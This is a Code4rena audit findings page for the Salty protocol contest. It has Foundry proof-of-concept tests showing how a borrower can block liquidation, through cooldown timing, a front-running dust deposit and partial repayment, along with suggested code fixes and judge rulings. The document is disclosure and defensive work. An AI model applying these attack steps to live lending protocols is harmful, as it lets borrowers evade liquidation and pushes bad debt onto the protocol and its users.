Platform: Code4rena
Start Date: 16/01/2024
Pot Size: $80,000 USDC
Total HM: 37
Participants: 178
Period: 14 days
Judge: Picodes
Total Solo HM: 4
Id: 320
League: ETH
Rank: 38/178
Findings: 3
Award: $385.27
π Selected for report: 0
π Solo Findings: 0
π Selected for report: 0xbepresent
Also found by: 00xSEV, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xRobocop, 0xanmol, 0xlemon, 0xpiken, Arz, Audinarey, Auditwolf, Aymen0909, Banditx0x, CaeraDenoir, DanielArmstrong, Draiakoo, HALITUS, Infect3d, J4X, Jorgect, Kalyan-Singh, KingNFT, Krace, PENGUN, Toshii, Udsen, ayden, b0g0, c0pp3rscr3w3r, developerjordy, djxploit, erosjohn, holydevoti0n, iamandreiski, israeladelaja, juancito, klau5, lanrebayode77, memforvik, mussucal, n0kto, novodelta, pkqs90, solmaxis69, stackachu, twcctop, zhaojie, zhaojohnson
0.7809 USDC - $0.78
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L70-L76 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L64-L71 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/Liquidity.sol#L107
NOTE: This is a different issue from the other one I submit regarding liquidation, this one is a different vulnerability although the same underlying cause.
When a borrowed position becomes deliquent during a cooldown
period, the position cannot be liquidated, this will lead to bad debt in the protocol until the cooldown is over.
Currently the cooldown
period is 1 hr
but it can go as high as 6 hr
. When a user adds liquidity by calling depositCollateralAndIncreaseShare(...)
in the CollateralAndLiquidity.sol
contract, an internal call is made to
_depositLiquidityAndIncreaseShare(...)
as shown below
function depositCollateralAndIncreaseShare( uint256 maxAmountWBTC, uint256 maxAmountWETH, uint256 minLiquidityReceived, uint256 deadline, bool useZapping ) external nonReentrant ensureNotExpired(deadline) returns (uint256 addedAmountWBTC, uint256 addedAmountWETH, uint256 addedLiquidity) { // Have the user deposit the specified WBTC/WETH liquidity and increase their collateral share (addedAmountWBTC, addedAmountWETH, addedLiquidity) = _depositLiquidityAndIncreaseShare( wbtc, weth, maxAmountWBTC, maxAmountWETH, minLiquidityReceived, useZapping ); ... }
this in turn makes a call to the StakingRewards._increaseUserShare(...)
function which executes with useCoolDown
set to true
.
function _depositLiquidityAndIncreaseShare( IERC20 tokenA, IERC20 tokenB, uint256 maxAmountA, uint256 maxAmountB, uint256 minLiquidityReceived, bool useZapping ) internal returns (uint256 addedAmountA, uint256 addedAmountB, uint256 addedLiquidity) { ... // Increase the user's liquidity share by the amount of addedLiquidity. // Cooldown is specified to prevent reward hunting (ie - quickly depositing and withdrawing large amounts of liquidity to snipe rewards as they arrive) // _increaseUserShare confirms the pool as whitelisted as well. _increaseUserShare( msg.sender, poolID, addedLiquidity, true ); ... emit LiquidityDeposited(msg.sender, address(tokenA), address(tokenB), addedAmountA, addedAmountB, addedLiquidity); }
When the user makes a borrow immediately after increasing their shares and the collateralisation decreases, all calls to CollateralAndLiquidity.liquidateUser(...)
will revert.
Add the following test case to the CollateralAndLiquidity.t.sol
file and run COVERAGE="yes" NETWORK="sep" forge test --mt testLiquidatePositionDuringCooldownWillRevert -vv --rpc-url https://rpc.ankr.com/eth_sepolia
function testLiquidatePositionDuringCooldownWillRevert() public { assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0 ); assertEq(wbtc.balanceOf(address(usds)), 0, "USDS contract should start with zero WBTC"); assertEq(weth.balanceOf(address(usds)), 0, "USDS contract should start with zero WETH"); assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS"); // Total needs to be worth at least $2500 uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC(); uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH(); (uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth); assertEq( reserveWBTC, 0, "reserveWBTC doesn't start as zero" ); assertEq( reserveWETH, 0, "reserveWETH doesn't start as zero" ); vm.startPrank(alice); (,, uint256 aliceInitialAddedLiquidityIncrement) = collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false ); emit log_named_uint("aliceInitialAddedLiquidityIncrement", aliceInitialAddedLiquidityIncrement ); uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); // emit log_named_uint("initial maxUSDS", maxUSDS ); assertEq( maxUSDS, 0, "Alice doesn't have enough collateral to borrow USDS" ); // Deposit again vm.warp( block.timestamp + 1 hours ); (,, uint256 addedLiquidityIncrement) = collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false ); emit log_named_uint("alice Increment Liquidity", addedLiquidityIncrement ); // Account for both deposits depositedWBTC = depositedWBTC * 2; depositedWETH = depositedWETH * 2; vm.stopPrank(); emit log_named_uint("alice total Added Liquidity", addedLiquidityIncrement + aliceInitialAddedLiquidityIncrement ); // Deposit extra so alice can withdraw all her liquidity without having to worry about the DUST reserve limit vm.prank(DEPLOYER); (,, uint256 addedLiquidityIncrementDeployer) = collateralAndLiquidity.depositCollateralAndIncreaseShare( 1 * 10**8, 1 ether, 0, block.timestamp, false ); emit log_named_uint("deployer's Increment Liquidity", addedLiquidityIncrementDeployer ); // vm.warp( block.timestamp + 1 hours ); vm.prank(alice); maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); vm.startPrank(alice); { maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); // emit log_named_uint("maxUSDS", maxUSDS ); collateralAndLiquidity.borrowUSDS( maxUSDS ); vm.stopPrank(); assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1 ); uint256 maxWithdrawable = collateralAndLiquidity.maxWithdrawableCollateral(alice); assertEq( maxWithdrawable, 0, "Alice shouldn't be able to withdraw any collateral" ); uint256 aliceCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice); uint256 aliceBorrowedUSDS = usds.balanceOf(alice); assertEq( collateralAndLiquidity.usdsBorrowedByUsers(alice), aliceBorrowedUSDS, "Alice amount USDS borrowed not what she has" ); // Borrowed USDS should be about 50% of the aliceCollateralValue assertTrue( aliceBorrowedUSDS > ( aliceCollateralValue * 499 / 1000 ), "Alice did not borrow sufficient USDS" ); assertTrue( aliceBorrowedUSDS < ( aliceCollateralValue * 501 / 1000 ), "Alice did not borrow sufficient USDS" ); } vm.warp( block.timestamp + 1001); // @audit Within an hour of borrowing the price of collateral crashes // @audit this can go up to six hours with same results _crashCollateralPrice(); vm.prank(bob); vm.expectRevert("Must wait for the cooldown to expire"); collateralAndLiquidity.liquidateUser(alice); }
Modify the liquidateUser(...)
function not to use the cooldown as shown below
Remove
_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );
and Add
_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false );
function liquidateUser( address wallet ) external nonReentrant { ... // @audit SUGGESTION: _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false ); - _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true ); + _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false ); ... }
Timing
#0 - c4-judge
2024-02-01T10:45:43Z
Picodes marked the issue as duplicate of #312
#1 - c4-judge
2024-02-17T18:49:43Z
Picodes marked the issue as satisfactory
#2 - c4-judge
2024-02-21T16:12:39Z
Picodes removed the grade
#3 - c4-judge
2024-02-21T16:21:33Z
Picodes marked the issue as satisfactory
π Selected for report: 0xbepresent
Also found by: 00xSEV, 0xAlix2, 0xAsen, 0xBinChook, 0xCiphky, 0xRobocop, 0xanmol, 0xlemon, 0xpiken, Arz, Audinarey, Auditwolf, Aymen0909, Banditx0x, CaeraDenoir, DanielArmstrong, Draiakoo, HALITUS, Infect3d, J4X, Jorgect, Kalyan-Singh, KingNFT, Krace, PENGUN, Toshii, Udsen, ayden, b0g0, c0pp3rscr3w3r, developerjordy, djxploit, erosjohn, holydevoti0n, iamandreiski, israeladelaja, juancito, klau5, lanrebayode77, memforvik, mussucal, n0kto, novodelta, pkqs90, solmaxis69, stackachu, twcctop, zhaojie, zhaojohnson
0.7809 USDC - $0.78
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/Liquidity.sol#L107 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L70
NOTE: This is a different issue from the other one I submit regarding liquidation, this one is a different attack path although the same underlying cause.
The borrower can front run his liquidatable position to prevent liquidation. This will lead to the borrower buying time to repay, recollateralize or delay until price returns to levels where the position is collateralised again
DUST + 1 wei
(101 wei) amount to activate cooldownliquidateUser(...)
but it reverts because cooldown is now activeAdd the following test case to the CollateralAndLiquidity.t.sol
file and run COVERAGE="yes" NETWORK="sep" forge test --mt testLiquidatePositionBorrowerFrontrunsWithCooldown -vv --rpc-url https://rpc.ankr.com/eth_sepolia
function testLiquidatePositionBorrowerFrontrunsWithCooldown() public { assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0 ); assertEq(wbtc.balanceOf(address(usds)), 0, "USDS contract should start with zero WBTC"); assertEq(weth.balanceOf(address(usds)), 0, "USDS contract should start with zero WETH"); assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS"); // Total needs to be worth at least $2500 uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC(); uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH(); emit log_named_uint("depositedWBTC", depositedWBTC ); emit log_named_uint("depositedWETH", depositedWETH ); (uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth); assertEq( reserveWBTC, 0, "reserveWBTC doesn't start as zero" ); assertEq( reserveWETH, 0, "reserveWETH doesn't start as zero" ); vm.startPrank(alice); (,, uint256 aliceInitialAddedLiquidityIncrement) = collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false ); emit log_named_uint("aliceInitialAddedLiquidityIncrement", aliceInitialAddedLiquidityIncrement ); uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); // emit log_named_uint("initial maxUSDS", maxUSDS ); assertEq( maxUSDS, 0, "Alice doesn't have enough collateral to borrow USDS" ); // Deposit again vm.warp( block.timestamp + 1 hours ); (,, uint256 addedLiquidityIncrement) = collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false ); emit log_named_uint("alice Increment Liquidity", addedLiquidityIncrement ); // Account for both deposits depositedWBTC = depositedWBTC * 2; depositedWETH = depositedWETH * 2; vm.stopPrank(); emit log_named_uint("alice total Added BEFORE borrow Liquidity", addedLiquidityIncrement + aliceInitialAddedLiquidityIncrement ); // Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit vm.prank(DEPLOYER); (,, uint256 addedLiquidityIncrementDeployer) = collateralAndLiquidity.depositCollateralAndIncreaseShare( 1 * 10**8, 1 ether, 0, block.timestamp, false ); emit log_named_uint("deployer's Increment Liquidity", addedLiquidityIncrementDeployer ); // vm.warp( block.timestamp + 1 hours ); vm.prank(alice); maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); vm.startPrank(alice); { maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); // emit log_named_uint("maxUSDS", maxUSDS ); collateralAndLiquidity.borrowUSDS( maxUSDS ); vm.stopPrank(); assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1 ); uint256 maxWithdrawable = collateralAndLiquidity.maxWithdrawableCollateral(alice); assertEq( maxWithdrawable, 0, "Alice shouldn't be able to withdraw any collateral" ); uint256 aliceCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice); uint256 aliceBorrowedUSDS = usds.balanceOf(alice); assertEq( collateralAndLiquidity.usdsBorrowedByUsers(alice), aliceBorrowedUSDS, "Alice amount USDS borrowed not what she has" ); // Borrowed USDS should be about 50% of the aliceCollateralValue assertTrue( aliceBorrowedUSDS > ( aliceCollateralValue * 499 / 1000 ), "Alice did not borrow sufficient USDS" ); assertTrue( aliceBorrowedUSDS < ( aliceCollateralValue * 501 / 1000 ), "Alice did not borrow sufficient USDS" ); } // @audit 1 day passes before the price tanks vm.warp( block.timestamp + 1 days); // @audit position becomes under collateralized _crashCollateralPrice(); // @audit add little of liquidity vm.startPrank(alice); (,, uint256 aliceInitialAddedLiquidityToFrontrun) = collateralAndLiquidity.depositCollateralAndIncreaseShare( 101 wei, 101 wei, 0, block.timestamp, false ); emit log_named_uint("aliceInitial NEW TOTAL AddedLiquidityIncrement", aliceInitialAddedLiquidityToFrontrun + addedLiquidityIncrement + aliceInitialAddedLiquidityIncrement ); // @audit borrower still cant borrow because he is not eligible despite added liquidity uint256 maxUSDSAfterFrontrun = collateralAndLiquidity.maxBorrowableUSDS(alice); emit log_named_uint("FINAL maxUSDS", maxUSDSAfterFrontrun ); assertEq( maxUSDSAfterFrontrun, 0, "Alice doesn't have enough collateral to borrow USDS" ); vm.stopPrank(); // @audit 10 seconds after vm.warp( block.timestamp + 10); // @audit Bob's call to liquidate reverts vm.prank(bob); vm.expectRevert("Must wait for the cooldown to expire"); collateralAndLiquidity.liquidateUser(alice); // @audit user can kep spamming until price returns to levels where the position becomes collateralised again // OR // @audit user can use this to buy time to repay or recollateralise his position }
Modify the liquidateUser(...)
function not to use the cooldown as shown below
Remove
_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true );
and Add
_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false );
function liquidateUser( address wallet ) external nonReentrant { require( wallet != msg.sender, "Cannot liquidate self" ); ... // @audit SUGGESTION: _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false ); - _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true ); + _decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, false ); ... emit Liquidation(msg.sender, wallet, reclaimedWBTC, reclaimedWETH, originallyBorrowedUSDS); }
.
Timing
#0 - c4-judge
2024-01-31T22:38:02Z
Picodes marked the issue as duplicate of #891
#1 - c4-judge
2024-02-21T16:12:36Z
Picodes marked the issue as satisfactory
372.7994 USDC - $372.80
https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L95 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L115 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L145
Malicious user can spam the protocol with unliquidatable positions leaving the CollateralAndLiquidity.sol
pool with dead positions.
This vulnerability is borne form the fact that the user is allowed to repay any amount they like
liquidateUser(...)
will revert for the outstanding balance and as such position is left underwater or the borrower decides to repay whenever he deems fit spaming the protocol with dead positionsAdd the following test case to the CollateralAndLiquidity.t.sol
file and run COVERAGE="yes" NETWORK="sep" forge test --mt testLiquidateIsNotProfitableForSpamPositions -vv --rpc-url https://rpc.ankr.com/eth_sepolia
function testLiquidateIsNotProfitableForSpamPositions() public { assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 0 ); assertEq(wbtc.balanceOf(address(usds)), 0, "USDS contract should start with zero WBTC"); assertEq(weth.balanceOf(address(usds)), 0, "USDS contract should start with zero WETH"); assertEq(usds.balanceOf(alice), 0, "Alice should start with zero USDS"); // Total needs to be worth at least $2500 uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC(); uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH(); emit log_named_uint("depositedWBTC", depositedWBTC ); emit log_named_uint("depositedWETH", depositedWETH ); (uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth); assertEq( reserveWBTC, 0, "reserveWBTC doesn't start as zero" ); assertEq( reserveWETH, 0, "reserveWETH doesn't start as zero" ); vm.startPrank(alice); (,, uint256 aliceInitialAddedLiquidityIncrement) = collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false ); emit log_named_uint("aliceInitialAddedLiquidityIncrement", aliceInitialAddedLiquidityIncrement ); uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); // emit log_named_uint("initial maxUSDS", maxUSDS ); assertEq( maxUSDS, 0, "Alice doesn't have enough collateral to borrow USDS" ); // Deposit again vm.warp( block.timestamp + 1 hours ); (,, uint256 addedLiquidityIncrement) = collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false ); emit log_named_uint("alice Increment Liquidity", addedLiquidityIncrement ); // Account for both deposits depositedWBTC = depositedWBTC * 2; depositedWETH = depositedWETH * 2; vm.stopPrank(); emit log_named_uint("alice total Added BEFORE borrow Liquidity", addedLiquidityIncrement + aliceInitialAddedLiquidityIncrement ); // Deposit extra so alice can withdraw all liquidity without having to worry about the DUST reserve limit vm.prank(DEPLOYER); (,, uint256 addedLiquidityIncrementDeployer) = collateralAndLiquidity.depositCollateralAndIncreaseShare( 1 * 10**8, 1 ether, 0, block.timestamp, false ); emit log_named_uint("deployer's Increment Liquidity", addedLiquidityIncrementDeployer ); // vm.warp( block.timestamp + 1 hours ); // @audit alice borrows USDS vm.prank(alice); maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); vm.startPrank(alice); maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice); // @audit calculate amount to repay uint256 amountUSDSToRepay = maxUSDS * 90 / 100; { collateralAndLiquidity.borrowUSDS( maxUSDS ); vm.stopPrank(); assertEq( collateralAndLiquidity.numberOfUsersWithBorrowedUSDS(), 1 ); uint256 maxWithdrawable = collateralAndLiquidity.maxWithdrawableCollateral(alice); assertEq( maxWithdrawable, 0, "Alice shouldn't be able to withdraw any collateral" ); uint256 aliceCollateralValue = collateralAndLiquidity.userCollateralValueInUSD(alice); uint256 aliceBorrowedUSDS = usds.balanceOf(alice); assertEq( collateralAndLiquidity.usdsBorrowedByUsers(alice), aliceBorrowedUSDS, "Alice amount USDS borrowed not what she has" ); // Borrowed USDS should be about 50% of the aliceCollateralValue assertTrue( aliceBorrowedUSDS > ( aliceCollateralValue * 499 / 1000 ), "Alice did not borrow sufficient USDS" ); assertTrue( aliceBorrowedUSDS < ( aliceCollateralValue * 501 / 1000 ), "Alice did not borrow sufficient USDS" ); } // @audit 1 day passes before the price tanks vm.warp( block.timestamp + 1 days); // @audit repay vm.startPrank(alice); collateralAndLiquidity.repayUSDS(amountUSDSToRepay); vm.stopPrank(); uint256 maxUSDSAfterSpamRepayment = collateralAndLiquidity.maxBorrowableUSDS(alice); // @audit ailce maxWithdrawableCollateral uint256 withdrawableCollateral = collateralAndLiquidity.maxWithdrawableCollateral(alice); emit log_named_uint("Alice withdrawable collateral after spam payment", withdrawableCollateral ); assertTrue(collateralAndLiquidity.usdsBorrowedByUsers(alice) != 0, "Alice has paid complete"); emit log_named_uint("Alice outstanding Borrowable Balance", maxUSDSAfterSpamRepayment ); emit log_named_uint("Alice collateral value", collateralAndLiquidity.userCollateralValueInUSD(alice) ); // @audit position becomes under collateralized _crashCollateralPrice(); // @audit Bob's call to liquidate reverts vm.prank(bob); vm.expectRevert("User cannot be liquidated"); collateralAndLiquidity.liquidateUser(alice); // @audit user can withdraw most of their collateral }
mapping(address=>uint256) public minOutstandingUsersBalance;
CollateralAndLiquidity.borrowUSDS(...)
function as shown belowfunction borrowUSDS( uint256 amountBorrowed ) external nonReentrant { ... // walet has access // user has more than 1 wei of shares // amountBorrowed <= maxBorrowableUSDS(msg.sender) // Increase the borrowed amount for the user usdsBorrowedByUsers[msg.sender] += amountBorrowed; + minOutstandingUsersBalance[msg.sender] += usdsBorrowedByUsers[msg.sender] * 40 / 100; ... emit BorrowedUSDS(msg.sender, amountBorrowed); }
such that minOutstandingUsersBalance
should be calculated during borrowing
CollateralAndLiquidity.repayUSDS(β¦)
function as shown belowfunction repayUSDS( uint256 amountRepaid ) external nonReentrant { // @audit 1) does not check if user should be liquidated before granting approval for repayment // @audit 2) user can borrow more than collateral require( userShareForPool( msg.sender, collateralPoolID ) > 0, "User does not have any collateral" ); require( amountRepaid <= usdsBorrowedByUsers[msg.sender], "Cannot repay more than the borrowed amount" ); require( amountRepaid > 0, "Cannot repay zero amount" ); // Decrease the borrowed amount for the user usdsBorrowedByUsers[msg.sender] -= amountRepaid; + require(usdsBorrowedByUsers[msg.sender] >= minOutstandingUsersBalance[msg.sender], "Partial Repayment threshold violated") // @audit SUGGESTION: require(usdsBorrowedByUsers[msg.sender] >= MIN_BORROW_AMOUNT, "Partial Repayment threshold violated") // Have the user send the USDS to the USDS contract so that it can later be burned (on USDS.performUpkeep) usds.safeTransferFrom(msg.sender, address(usds), amountRepaid) // Have USDS remember that the USDS should be burned liquidizer.incrementBurnableUSDS( amountRepaid ); // Check if the user no longer has any borrowed USDS if ( usdsBorrowedByUsers[msg.sender] == 0 ) _walletsWithBorrowedUSDS.remove(msg.sender); emit RepaidUSDS(msg.sender, amountRepaid); }
Other
#0 - c4-judge
2024-02-02T09:26:34Z
Picodes marked the issue as primary issue
#1 - c4-sponsor
2024-02-12T23:49:45Z
othernet-global (sponsor) disputed
#2 - othernet-global
2024-02-12T23:51:47Z
Liquidating underwater positions does not revert.
The default collateral position to borrow USDS is $2500 (adjustable by the DAO). Spamming multiple borrows with multiple accounts requires this minimum amount deposited to each account.
#3 - c4-judge
2024-02-14T07:10:17Z
Picodes marked the issue as satisfactory
#4 - c4-judge
2024-02-14T07:13:33Z
Picodes marked issue #279 as primary and marked this issue as a duplicate of 279
#5 - c4-judge
2024-02-14T07:49:11Z
Picodes changed the severity to 2 (Med Risk)
π Selected for report: juancito
Also found by: 0x3b, 0xBinChook, 0xCiphky, 0xHelium, 0xMango, 0xOmer, 0xRobocop, 0xSmartContractSamurai, 0xWaitress, 0xbepresent, 0xpiken, 7ashraf, Arz, Audinarey, Banditx0x, Bauchibred, Draiakoo, IceBear, J4X, Jorgect, Kaysoft, KingNFT, Rhaydden, Rolezn, The-Seraphs, Tigerfrake, Topmark, Tripathi, Udsen, ZanyBonzy, a3yip6, b0g0, chaduke, codeslide, csanuragjain, dharma09, djxploit, eta, ether_sky, grearlake, inzinko, jasonxiale, jesjupyter, josephdara, lanrebayode77, linmiaomiao, lsaudit, niroh, oakcobalt, peanuts, pina, sivanesh_808, slvDev, t0x1c, vnavascues, wangxx2026
11.6897 USDC - $11.69
parameterType
If Proposals.proposeParameterBallot(...)
is called with an invalid parameterType
the function does not revert. I am reporting this as a LOW severity because it does not break the protocols functionality as an invalid parameterType
does not do anything.
Modify the Proposals.proposeParameterBallot(...)
as shown below
function proposeParameterBallot( uint256 parameterType, string calldata description ) external nonReentrant returns (uint256 ballotID) { + require(parameterType < 26, "Invalid ParameterType"); string memory ballotName = string.concat("parameter:", Strings.toString(parameterType) ); return _possiblyCreateProposal( ballotName, BallotType.PARAMETER, address(0), parameterType, "", description ); }
SendSALT
can be proposed with zero amountIf Proposals.proposeSendSALT(...)
is called with zero as the amount
of SALT to send, the function does not revert.
Although no SALT is sent even when the proposal passes but the caller still spends gas fee when the call is made.
Proposals.proposeSendSALT(...)
to revert when the SALT balance is less than 100 wei
(to avoid rounding errors)function proposeSendSALT( address wallet, uint256 amount, string calldata description ) external nonReentrant returns (uint256 ballotID) { ... uint256 balance = exchangeConfig.salt().balanceOf( address(exchangeConfig.dao()) ); require(balance > 100 wei, "Insufficient SALT balance"); uint256 maxSendable = balance * 5 / 100; ... }
#0 - c4-judge
2024-02-03T13:13:06Z
Picodes marked the issue as grade-b